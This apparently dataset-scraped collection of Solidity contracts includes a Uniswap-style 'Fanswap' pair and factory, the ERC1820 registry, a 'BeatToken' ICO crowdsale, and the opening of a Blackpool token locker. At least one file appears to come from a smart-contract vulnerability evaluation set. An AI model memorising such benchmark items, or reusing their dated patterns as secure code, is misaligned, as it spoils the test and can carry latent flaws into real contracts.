uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast)).mul(8);
uint denominator = rootK.mul(17).add(rootKLast.mul(8));
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'Fanswap: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'Fanswap: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'Fanswap: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Fanswap: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'Fanswap: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IFanswapCallee(to).FanswapCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Fanswap: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = (balance0.mul(10000).sub(amount0In.mul(25)));
uint balance1Adjusted = (balance1.mul(10000).sub(amount1In.mul(25)));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(10000**2), 'Fanswap: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
contract FanswapFactory is IFanswapFactory {
bytes32 public constant INIT_CODE_PAIR_HASH = keccak256(abi.encodePacked(type(FanswapPair).creationCode));
address public feeTo;
address public feeToSetter;
mapping(address => mapping(address => address)) public getPair;
address[] public allPairs;
constructor(address _feeToSetter){
feeToSetter = _feeToSetter;
feeTo = _feeToSetter;
}
function allPairsLength() external view returns (uint) {
return allPairs.length;
}
function createPair(address tokenA, address tokenB) external returns (address pair) {
require(tokenA != tokenB, 'Fanswap: IDENTICAL_ADDRESSES');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'Fanswap: ZERO_ADDRESS');
require(getPair[token0][token1] == address(0), 'Fanswap: PAIR_EXISTS'); // single check is sufficient
bytes memory bytecode = type(FanswapPair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
IFanswapPair(pair).initialize(token0, token1);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external {
require(msg.sender == feeToSetter, 'Fanswap: FORBIDDEN');
feeTo = _feeTo;
}
function setFeeToSetter(address _feeToSetter) external {
require(msg.sender == feeToSetter, 'Fanswap: FORBIDDEN');
feeToSetter = _feeToSetter;
}
}
| 309,882 | 193 |
6edd2eb9aa268b3ce87bab4d7470ae8362a5b12505c001f1a460bd3fd2ac71d2
| 12,937 |
.sol
|
Solidity
| false |
507660474
|
tintinweb/smart-contract-sanctuary-celo
|
81b52aac6adcf513ef4af86806a71db3704a5958
|
contracts/mainnet/18/1820a4b7618bde71dce8cdc73aab6c95905fad24_ERC1820Registry.sol
| 2,298 | 9,258 |
pragma solidity 0.5.3;
// IV is value needed to have a vanity address starting with '0x1820'.
// IV: 53759
/// @dev The interface a contract MUST implement if it is the implementer of
/// some (other) interface for any address other than itself.
interface ERC1820ImplementerInterface {
/// @param interfaceHash keccak256 hash of the name of the interface
/// @param addr Address for which the contract will implement the interface
function canImplementInterfaceForAddress(bytes32 interfaceHash, address addr) external view returns(bytes32);
}
/// @title ERC1820 Pseudo-introspection Registry Contract
/// @author Jordi Baylina and Jacques Dafflon
/// @notice This contract is the official implementation of the ERC1820 Registry.
/// @notice For more details, see https://eips.ethereum.org/EIPS/eip-1820
contract ERC1820Registry {
/// @notice ERC165 Invalid ID.
bytes4 constant internal INVALID_ID = 0xffffffff;
bytes4 constant internal ERC165ID = 0x01ffc9a7;
bytes32 constant internal ERC1820_ACCEPT_MAGIC = keccak256(abi.encodePacked("ERC1820_ACCEPT_MAGIC"));
/// @notice mapping from addresses and interface hashes to their implementers.
mapping(address => mapping(bytes32 => address)) internal interfaces;
/// @notice mapping from addresses to their manager.
mapping(address => address) internal managers;
/// @notice flag for each address and erc165 interface to indicate if it is cached.
mapping(address => mapping(bytes4 => bool)) internal erc165Cached;
/// @notice Indicates a contract is the 'implementer' of 'interfaceHash' for 'addr'.
event InterfaceImplementerSet(address indexed addr, bytes32 indexed interfaceHash, address indexed implementer);
/// @notice Indicates 'newManager' is the address of the new manager for 'addr'.
event ManagerChanged(address indexed addr, address indexed newManager);
/// @notice Query if an address implements an interface and through which contract.
/// @param _addr Address being queried for the implementer of an interface.
/// (If '_addr' is the zero address then 'msg.sender' is assumed.)
/// @param _interfaceHash Keccak256 hash of the name of the interface as a string.
/// E.g., 'web3.utils.keccak256("ERC777TokensRecipient")' for the 'ERC777TokensRecipient' interface.
/// @return The address of the contract which implements the interface '_interfaceHash' for '_addr'
/// or '0' if '_addr' did not register an implementer for this interface.
function getInterfaceImplementer(address _addr, bytes32 _interfaceHash) external view returns (address) {
address addr = _addr == address(0) ? msg.sender : _addr;
if (isERC165Interface(_interfaceHash)) {
bytes4 erc165InterfaceHash = bytes4(_interfaceHash);
return implementsERC165Interface(addr, erc165InterfaceHash) ? addr : address(0);
}
return interfaces[addr][_interfaceHash];
}
/// @notice Sets the contract which implements a specific interface for an address.
/// Only the manager defined for that address can set it.
/// (Each address is the manager for itself until it sets a new manager.)
/// @param _addr Address for which to set the interface.
/// (If '_addr' is the zero address then 'msg.sender' is assumed.)
/// @param _interfaceHash Keccak256 hash of the name of the interface as a string.
/// E.g., 'web3.utils.keccak256("ERC777TokensRecipient")' for the 'ERC777TokensRecipient' interface.
/// @param _implementer Contract address implementing '_interfaceHash' for '_addr'.
function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external {
address addr = _addr == address(0) ? msg.sender : _addr;
require(getManager(addr) == msg.sender, "Not the manager");
require(!isERC165Interface(_interfaceHash), "Must not be an ERC165 hash");
if (_implementer != address(0) && _implementer != msg.sender) {
require(ERC1820ImplementerInterface(_implementer)
.canImplementInterfaceForAddress(_interfaceHash, addr) == ERC1820_ACCEPT_MAGIC,
"Does not implement the interface");
}
interfaces[addr][_interfaceHash] = _implementer;
emit InterfaceImplementerSet(addr, _interfaceHash, _implementer);
}
/// @notice Sets '_newManager' as manager for '_addr'.
/// The new manager will be able to call 'setInterfaceImplementer' for '_addr'.
/// @param _addr Address for which to set the new manager.
function setManager(address _addr, address _newManager) external {
require(getManager(_addr) == msg.sender, "Not the manager");
managers[_addr] = _newManager == _addr ? address(0) : _newManager;
emit ManagerChanged(_addr, _newManager);
}
/// @notice Get the manager of an address.
/// @param _addr Address for which to return the manager.
/// @return Address of the manager for a given address.
function getManager(address _addr) public view returns(address) {
// By default the manager of an address is the same address
if (managers[_addr] == address(0)) {
return _addr;
} else {
return managers[_addr];
}
}
/// @notice Compute the keccak256 hash of an interface given its name.
/// @param _interfaceName Name of the interface.
/// @return The keccak256 hash of an interface name.
function interfaceHash(string calldata _interfaceName) external pure returns(bytes32) {
return keccak256(abi.encodePacked(_interfaceName));
}
/// @notice Updates the cache with whether the contract implements an ERC165 interface or not.
/// @param _contract Address of the contract for which to update the cache.
/// @param _interfaceId ERC165 interface for which to update the cache.
function updateERC165Cache(address _contract, bytes4 _interfaceId) external {
interfaces[_contract][_interfaceId] = implementsERC165InterfaceNoCache(_contract, _interfaceId) ? _contract : address(0);
erc165Cached[_contract][_interfaceId] = true;
}
/// @notice Checks whether a contract implements an ERC165 interface or not.
// If the result is not cached a direct lookup on the contract address is performed.
// 'updateERC165Cache' with the contract address.
/// @param _contract Address of the contract to check.
/// @param _interfaceId ERC165 interface to check.
/// @return True if '_contract' implements '_interfaceId', false otherwise.
function implementsERC165Interface(address _contract, bytes4 _interfaceId) public view returns (bool) {
if (!erc165Cached[_contract][_interfaceId]) {
return implementsERC165InterfaceNoCache(_contract, _interfaceId);
}
return interfaces[_contract][_interfaceId] == _contract;
}
/// @param _contract Address of the contract to check.
/// @param _interfaceId ERC165 interface to check.
/// @return True if '_contract' implements '_interfaceId', false otherwise.
function implementsERC165InterfaceNoCache(address _contract, bytes4 _interfaceId) public view returns (bool) {
uint256 success;
uint256 result;
(success, result) = noThrowCall(_contract, ERC165ID);
if (success == 0 || result == 0) {
return false;
}
(success, result) = noThrowCall(_contract, INVALID_ID);
if (success == 0 || result != 0) {
return false;
}
(success, result) = noThrowCall(_contract, _interfaceId);
if (success == 1 && result == 1) {
return true;
}
return false;
}
/// @notice Checks whether the hash is a ERC165 interface (ending with 28 zeroes) or not.
/// @param _interfaceHash The hash to check.
/// @return True if '_interfaceHash' is an ERC165 interface (ending with 28 zeroes), false otherwise.
function isERC165Interface(bytes32 _interfaceHash) internal pure returns (bool) {
return _interfaceHash & 0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0;
}
/// @dev Make a call on a contract without throwing if the function does not exist.
function noThrowCall(address _contract, bytes4 _interfaceId)
internal view returns (uint256 success, uint256 result)
{
bytes4 erc165ID = ERC165ID;
assembly {
let x := mload(0x40) // Find empty storage location using "free memory pointer"
mstore(x, erc165ID) // Place signature at beginning of empty storage
mstore(add(x, 0x04), _interfaceId) // Place first argument directly next to signature
success := staticcall(30000, // 30k gas
_contract, // To addr
x, // Inputs are stored at location x
0x24, // Inputs are 36 (4 + 32) bytes long
x, // Store output over input (saves space)
0x20 // Outputs are 32 bytes long)
result := mload(x) // Load the result
}
}
}
| 269,772 | 194 |
675cc98f4120a6df7ba6a48e5bb84d09238c08e58bc86ad02385125c83afae71
| 15,968 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x584bf48227509f93ae7c7f2ac2e3e4364d58050b.sol
| 3,672 | 12,376 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BeatTokenCrowdsale is Ownable {
enum Stages {
Deployed,
PreIco,
IcoPhase1,
IcoPhase2,
IcoPhase3,
IcoEnded,
Finalized
}
Stages public stage;
using SafeMath for uint256;
BeatToken public token;
uint256 public contractStartTime;
uint256 public preIcoEndTime;
uint256 public icoPhase1EndTime;
uint256 public icoPhase2EndTime;
uint256 public icoPhase3EndTime;
uint256 public contractEndTime;
address public ethTeamWallet;
address public beatTeamWallet;
uint256 public ethWeiRaised;
mapping(address => uint256) public balanceOf;
uint public constant PRE_ICO_PERIOD = 28 days;
uint public constant ICO_PHASE1_PERIOD = 28 days;
uint public constant ICO_PHASE2_PERIOD = 28 days;
uint public constant ICO_PHASE3_PERIOD = 28 days;
uint256 public constant PRE_ICO_BONUS_PERCENTAGE = 100;
uint256 public constant ICO_PHASE1_BONUS_PERCENTAGE = 75;
uint256 public constant ICO_PHASE2_BONUS_PERCENTAGE = 50;
uint256 public constant ICO_PHASE3_BONUS_PERCENTAGE = 25;
// 5.0 bn (2.5 bn regular + 2.5 bn bonus)
uint256 public constant PRE_ICO_AMOUNT = 5000 * (10 ** 6) * (10 ** 18);
// 7.0 bn (4.0 bn regular + 3.0 bn bonus)
uint256 public constant ICO_PHASE1_AMOUNT = 7000 * (10 ** 6) * (10 ** 18);
// 10.5 bn (7.0 bn regular + 3.5 bn bonus)
uint256 public constant ICO_PHASE2_AMOUNT = 10500 * (10 ** 6) * (10 ** 18);
// 11.875 bn (9.5 bn regular + 2.375 bn bonus)
uint256 public constant ICO_PHASE3_AMOUNT = 11875 * (10 ** 6) * (10 ** 18);
uint256 public constant PRE_ICO_LIMIT = PRE_ICO_AMOUNT;
uint256 public constant ICO_PHASE1_LIMIT = PRE_ICO_LIMIT + ICO_PHASE1_AMOUNT;
uint256 public constant ICO_PHASE2_LIMIT = ICO_PHASE1_LIMIT + ICO_PHASE2_AMOUNT;
uint256 public constant ICO_PHASE3_LIMIT = ICO_PHASE2_LIMIT + ICO_PHASE3_AMOUNT;
// 230 bn
uint256 public constant HARD_CAP = 230 * (10 ** 9) * (10 ** 18);
uint256 public ethPriceInEuroCent;
event BeatTokenPurchased(address indexed purchaser, address indexed beneficiary, uint256 ethWeiAmount, uint256 beatWeiAmount);
event BeatTokenEthPriceChanged(uint256 newPrice);
event BeatTokenPreIcoStarted();
event BeatTokenIcoPhase1Started();
event BeatTokenIcoPhase2Started();
event BeatTokenIcoPhase3Started();
event BeatTokenIcoFinalized();
function BeatTokenCrowdsale(address _ethTeamWallet, address _beatTeamWallet) public {
require(_ethTeamWallet != address(0));
require(_beatTeamWallet != address(0));
token = new BeatToken(HARD_CAP);
stage = Stages.Deployed;
ethTeamWallet = _ethTeamWallet;
beatTeamWallet = _beatTeamWallet;
ethPriceInEuroCent = 0;
contractStartTime = 0;
preIcoEndTime = 0;
icoPhase1EndTime = 0;
icoPhase2EndTime = 0;
icoPhase3EndTime = 0;
contractEndTime = 0;
}
function setEtherPriceInEuroCent(uint256 _ethPriceInEuroCent) onlyOwner public {
ethPriceInEuroCent = _ethPriceInEuroCent;
BeatTokenEthPriceChanged(_ethPriceInEuroCent);
}
function start() onlyOwner public {
require(stage == Stages.Deployed);
require(ethPriceInEuroCent > 0);
contractStartTime = now;
BeatTokenPreIcoStarted();
stage = Stages.PreIco;
}
function finalize() onlyOwner public {
require(stage != Stages.Deployed);
require(stage != Stages.Finalized);
if (preIcoEndTime == 0) {
preIcoEndTime = now;
}
if (icoPhase1EndTime == 0) {
icoPhase1EndTime = now;
}
if (icoPhase2EndTime == 0) {
icoPhase2EndTime = now;
}
if (icoPhase3EndTime == 0) {
icoPhase3EndTime = now;
}
if (contractEndTime == 0) {
contractEndTime = now;
}
uint256 unsoldTokens = HARD_CAP - token.getTotalSupply();
token.mint(beatTeamWallet, unsoldTokens);
BeatTokenIcoFinalized();
stage = Stages.Finalized;
}
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) payable public {
require(isWithinValidIcoPhase());
require(ethPriceInEuroCent > 0);
require(beneficiary != address(0));
require(msg.value != 0);
uint256 ethWeiAmount = msg.value;
// calculate BEAT wei amount to be created
uint256 beatWeiAmount = calculateBeatWeiAmount(ethWeiAmount);
require(isWithinTokenAllocLimit(beatWeiAmount));
determineCurrentStage(beatWeiAmount);
balanceOf[beneficiary] += beatWeiAmount;
ethWeiRaised += ethWeiAmount;
token.mint(beneficiary, beatWeiAmount);
BeatTokenPurchased(msg.sender, beneficiary, ethWeiAmount, beatWeiAmount);
ethTeamWallet.transfer(ethWeiAmount);
}
function isWithinValidIcoPhase() internal view returns (bool) {
return (stage == Stages.PreIco || stage == Stages.IcoPhase1 || stage == Stages.IcoPhase2 || stage == Stages.IcoPhase3);
}
function calculateBeatWeiAmount(uint256 ethWeiAmount) internal view returns (uint256) {
uint256 beatWeiAmount = ethWeiAmount.mul(ethPriceInEuroCent);
uint256 bonusPercentage = 0;
if (stage == Stages.PreIco) {
bonusPercentage = PRE_ICO_BONUS_PERCENTAGE;
} else if (stage == Stages.IcoPhase1) {
bonusPercentage = ICO_PHASE1_BONUS_PERCENTAGE;
} else if (stage == Stages.IcoPhase2) {
bonusPercentage = ICO_PHASE2_BONUS_PERCENTAGE;
} else if (stage == Stages.IcoPhase3) {
bonusPercentage = ICO_PHASE3_BONUS_PERCENTAGE;
}
return beatWeiAmount.mul(100 + bonusPercentage).add(50).div(100);
}
function isWithinTokenAllocLimit(uint256 beatWeiAmount) internal view returns (bool) {
return token.getTotalSupply().add(beatWeiAmount) <= ICO_PHASE3_LIMIT;
}
function determineCurrentStage(uint256 beatWeiAmount) internal {
uint256 newTokenTotalSupply = token.getTotalSupply().add(beatWeiAmount);
if (stage == Stages.PreIco && (newTokenTotalSupply > PRE_ICO_LIMIT || now >= contractStartTime + PRE_ICO_PERIOD)) {
preIcoEndTime = now;
stage = Stages.IcoPhase1;
BeatTokenIcoPhase1Started();
} else if (stage == Stages.IcoPhase1 && (newTokenTotalSupply > ICO_PHASE1_LIMIT || now >= preIcoEndTime + ICO_PHASE1_PERIOD)) {
icoPhase1EndTime = now;
stage = Stages.IcoPhase2;
BeatTokenIcoPhase2Started();
} else if (stage == Stages.IcoPhase2 && (newTokenTotalSupply > ICO_PHASE2_LIMIT || now >= icoPhase1EndTime + ICO_PHASE2_PERIOD)) {
icoPhase2EndTime = now;
stage = Stages.IcoPhase3;
BeatTokenIcoPhase3Started();
} else if (stage == Stages.IcoPhase3 && (newTokenTotalSupply == ICO_PHASE3_LIMIT || now >= icoPhase2EndTime + ICO_PHASE3_PERIOD)) {
icoPhase3EndTime = now;
stage = Stages.IcoEnded;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BeatToken is CappedToken {
string public constant name = "BEAT Token";
string public constant symbol = "BEAT";
uint8 public constant decimals = 18;
function BeatToken(uint256 _cap) CappedToken(_cap) public {
}
function getTotalSupply() public view returns (uint256) {
return totalSupply;
}
}
| 202,583 | 195 |
a9df1da52d19c1205b5ef1a25e6e4e4e3e401cb544eb0bda0d272a4f645d208c
| 20,745 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/0a/0a4df7809f83e130d8ffa297f03b75318e37b461_BlackpoolLocker.sol
| 3,171 | 11,987 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface VeToken {
struct LockedBalance {
int128 amount;
uint256 end;
}
function create_lock(uint256 _value, uint256 _unlock_time) external;
function increase_amount(uint256 _value) external;
function increase_unlock_time(uint256 _unlock_time) external;
function withdraw() external;
function locked__end(address) external view returns (uint256);
}
interface IFeeDistributor {
function claim() external returns (uint256);
}
/// @title Blackpool Locker
/// @author StakeDAO
/// @notice Locks the BPT tokens to veBPT contract
contract BlackpoolLocker {
using SafeERC20 for IERC20;
address public governance;
address public bptDepositor;
address public accumulator;
address public constant BPT = 0x0eC9F76202a7061eB9b3a7D6B59D36215A7e37da;
address public constant VEBPT = 0x19886A88047350482990D4EDd0C1b863646aB921;
address public feeDistributor = 0xFf23e40ac05D30Df46c250Dd4d784f6496A79CE9;
event LockCreated(address indexed user, uint256 value, uint256 duration);
event TokenClaimed(address indexed user, uint256 value);
